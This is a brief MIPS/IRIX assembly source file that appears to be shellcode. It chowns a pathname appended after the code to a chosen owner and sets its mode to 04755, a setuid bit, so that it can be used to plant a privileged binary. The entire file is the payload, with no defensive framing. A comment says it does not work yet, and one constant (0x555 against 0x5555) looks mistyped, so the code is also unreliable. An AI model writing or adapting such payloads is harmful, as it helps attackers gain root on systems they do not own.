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/* MIPS/IRIX PIC chmod code
*
* -sc.
*/
#include <sgidefs.h>
#include <sys/regdef.h>
#include <sys/asm.h>
#include <sys.s>
#include <sys/syscall.h>
.section .text
.globl cbegin
.globl cend
/* FIXME: its not workable atm */
cbegin:
.set noreorder
.set nomacro
lbl: bltzal zero, lbl
li a1, 0x4141 /* a1 = uid ^ 0x5555 */
xor a1, a1, 0x5555
li a2, 0x4242 /* a2 = gid ^ 0x5555 */
xor a2, a2, 0x555
addu a0, ra, 0x0180
sb zero, -(0x0148 + -(9))(a0)
subu a0, a0, 0x0148
/* chown (a0 = pathname, a1 = uid, a2 = gid) */
li v0, SYS_chown /* 0x03f8 */
syscall
/* chmod (a0 = pathname, a1 = 04755) */
li a1, 0x09ed /* a1 = 04755 = 0x09ed */
li v0, SYS_chmod /* 0x03f7 */
syscall
li v0, SYS_exit /* 0x03e9 */
syscall
li t8, 0x72ec /* sane ds */
.end cbegin
cend:
/* XXX: append pathname here, will get NUL terminated */
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